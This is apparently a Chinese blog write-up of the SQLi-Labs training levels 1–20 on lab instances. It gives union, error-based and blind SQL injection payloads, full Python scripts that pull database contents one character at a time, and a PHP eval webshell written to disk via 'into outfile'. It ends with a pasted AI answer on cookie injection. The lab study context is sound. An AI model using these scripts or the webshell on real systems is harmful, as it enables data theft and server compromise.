SQLILABS穿关记录

SQLILABS穿关记录

注:本文脚本需要根据自身情况修改

第一关

?id=1’ or 1=1 %23 //字符型注入
?id=1’ or 1=1 union select 1,2,3,4%23 //报错字段为3
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库
库名 challenges,ctftraining,information_schema,mysql,performance_schema,security,test
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘ctftraining’%23 //查库
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘flag’%23 //查水表
?id=-1’ union select 1,2,flag from ctftraining.flag%23 //跨库查询

第二关

?id=1’ or 1=1 # 报错’ or 1=1 LIMIT 0,1 考虑数字型注入
?id=1 or 1=1 //成功为数字型注入
?id=-1 union select 1,2,flag from ctftraining.flag%23
接下来的步骤和第一关一样

第三关

?id=1’)or 1=1 # //接下来应该一样
?id=-1’) union select 1,2,flag from ctftraining.flag%23

第四关

?id=1“)or 1=1 # //接下来应该一样
?id=-1") union select 1,2,flag from ctftraining.flag%23

第五关

报错注入也行
?id=2’and 1=1 %23
?id=2’and 1=2 %23无回显

贴上我的脚本

import requests
import time
url = "http://46be5e92-e82c-4f5b-a5b9-5a6fa17b8493.node4.buuoj.cn/Less-5/?id=2 'and "

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload="if(ascii(substr(database(),{},1))>{},1,0) %23".format(i,mid) #查所在库
        # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid) #查全部库
        # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) %23".format(i,mid) #查水表名
        # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) %23".format(i,mid) #查水表
        payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) %23".format(i,mid) #爆flag
        # print(url+payload)
        r=requests.get(url+payload)
        # print(r.text)
        time.sleep(1) #buu蛋疼的限制所限制
        if "You are in..........." in r.text:
            head=mid+1
        else:
            tail=mid

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第六关

脚本中url的 ‘ 改 \“ 就行了

第七关

到第一关查路径先
?id=-1’union select 1,@@basedir,@@datadir %23
Your Login name:/usr
Your Password:/var/lib/mysql/
emmmm网站路径写不进去????
上面那个貌似不是路径
记录一下还没写出来
语句是union select 1,2,’<?php @eval($_POST[a]);?>'into outfile ‘路径’

第八关

第五个脚本可以用

第九关

判断闭合 and if(1=2,1,sleep(10)) # 看刷新时间
一般闭合为 ’ " ') ")多试试加括号。。。应该是这样
时间盲注
贴给脚本

import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-9/?id=2 'and "

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        payload="if(ascii(substr(database(),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(1),0) %23".format(i,mid)
        # print(url+payload)
        start_time=time.time()
        r=requests.get(url+payload)
        #print(r.text)
        if time.time()-start_time>=1:
            head=mid+1
        else:
            tail=mid

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第十关

把上面payload的’改为"

第十一关

跟第一关一样,只是改了请求方式
字段改了为2 其中%23改为# 不需要编码了
-1’ union select 1,flag from ctftraining.flag #

第十二关

跟第十一关一样,把’改为”)
-1") union select 1,flag from ctftraining.flag#

第十三关

post类型盲注,还好学了一丢丢爬虫
这边贴个脚本。。。在前几个脚本基础上做的修改

import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-13/"

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # data={"uname": "1') or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        data={"uname": "1') or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        
        r=requests.post(url=url,data=data)
        # print(r.text)
        time.sleep(1)
        if "flag.jpg" in r.text:
            head=mid+1
        else:
            tail=mid

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第十四关

把上面中的 ') 换成 "

第十五关

判断闭合’ or if(1=2,1,sleep(10)) #
时间盲注POST版
贴上我的脚本

import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-15/"

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1' or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
        data={"uname": "1' or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}

        start_time=time.time()
        r=requests.post(url=url,data=data)
        #print(r.text)
        if time.time()-start_time>=1:
            head=mid+1
        else:
            tail=mid

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第十六关

判断闭合 ")or if(1=2,1,sleep(10)) #
把上面脚本的 ‘ 改为 ")

第十七关

username必须得admin才行,没想到。。靠!!!
报错注入
1’ or updatexml(1,concat(0x26,database(),0x26),1)#
1’ or updatexml(1,concat(0x26,database(),0x26),1)#
1’ or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
1’ or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
左右拼接一下就是库名
····中间差不多不多赘述了
1’ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)#
1’ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)#
左右拼接一下就是flag

另一个函数 注:该函数一次只能查询32位长度
extractvalue(1,concat(0x26,(SQL语句),0x26));

第十八关

把UA换成 ’ or updatexml(1,concat(0x26,database(),0x26),1)and’
应该是后面还有语句,没想到。。。看看源码

$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)//登录成功
{
        //将用户的uagent,ip,uname插入到一张表中
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

        mysql_query($insert); //进行插入数据

        echo 'Your User Agent is: ' .$uagent;
        print_r(mysql_error());  //输出详细错误       
}

else
{
        echo '<font color= "#0000ff" font size="3">';
        print_r(mysql_error()); //输出详细错误
        echo '<img src="../images/slap.jpg"   />';
        echo "</font>";  
        }

果然是
’ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1) and ’
’ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1) and ’
读取flag

第十九关

改referer和上面一样

第二十关

这个不看源码做不了吧。。。。。

//uname和passwd都做了过滤,而cookie没有,直接获取
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
//存在一个跟cookie相关的sql语句操作,由于未进行任何过滤,所以存在cookie注入

buu没有回显。。。。
ctfshow有。。。
常规注入
不做赘述
查看17题

<think>好的,我需要解决用户SQLi Labs第20的问题。首先,我得回忆一下SQL注入的基本知识,以及第20的具体情况。用户提到想找解决方案或说明,所以我应该先确定这一的设置和可能的注入点。 根据经验,SQLi Labs的不同卡通常设计不同的注入场景,比如POST请求、Cookie注入、头部注入等。第20可能属于Cookie注入或基于HTTP头部的注入类型。我需要回想是否有类似卡的处理方法。 然后,我需要查找相的资料或之前的解决方案。用户提供的引用中并没有直接提到第20,但引用[2]提到了一个GitHub仓库,里面可能有实验所需的命令,可能需要检查该仓库是否有相说明。不过用户的问题是SQL注入的,而引用[2]的链接是于Web攻击的命令,可能包含有用的信息。 接下来,我应该分析第20的可能漏洞点。假设这一是通过Cookie进行注入,那么攻击者可能需要修改Cookie中的参数来触发SQL注入。例如,Cookie中的某个值(如用户名或会话ID)被直接拼接到SQL查询中,导致注入漏洞。 可能的步骤包括: 1. 拦截HTTP请求,查看哪些参数被传递,尤其是Cookie中的参数。 2. 尝试在Cookie参数中添加单引号',观察是否有SQL错误返回,确认是否存在注入点。 3. 使用联合查询(UNION SELECT)或其他注入技术来提取数据库信息。 4. 绕过可能的过滤或转义机制,比如使用编码或注释。 此外,引用[1]提到对扫描IP加白名单或避开防火墙,这可能与绕过某些防护措施有,但需要具体情况具体分析。引用[3]于Unicode转换格式可能与编码注入有,但第20可能不涉及Unicode问题。 最后,生成相问题需要考虑用户可能的后续疑问,比如如何绕过防护、其他注入方法或工具使用等。</think>### SQLi Labs 第20解决方案 SQLi Labs第20通常涉及**Cookie-based注入**,需通过修改Cookie参数触发漏洞。以下是具体步骤说明: 1. **确认注入点** 拦截请求(如Burp Suite),观察Cookie中包含的敏感参数(例如`uname`)。尝试添加单引号`'`至参数值,若返回数据库错误(如MySQL语法错误),则存在注入点: ```http Cookie: uname=admin' ``` 2. **确定字段数量** 使用`ORDER BY`探测列数: ```http Cookie: uname=admin' ORDER BY 3-- - ``` 若页面正常返回,说明当前查询包含3列。 3. **提取数据库信息** 通过联合查询获取数据: ```http Cookie: uname=-admin' UNION SELECT 1,database(),version()-- - ``` 此时页面可能显示当前数据库名和版本号。 4. **获取表名与字段** 注入Payload示例: ```sql uname=-admin' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- - ``` **键技巧** - 若存在过滤,可尝试双写键字`UNIUNIONON`或使用`/**/`绕过空格过滤 - 使用`hex()`编码输出结果可避免特殊字符截断问题[^2]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值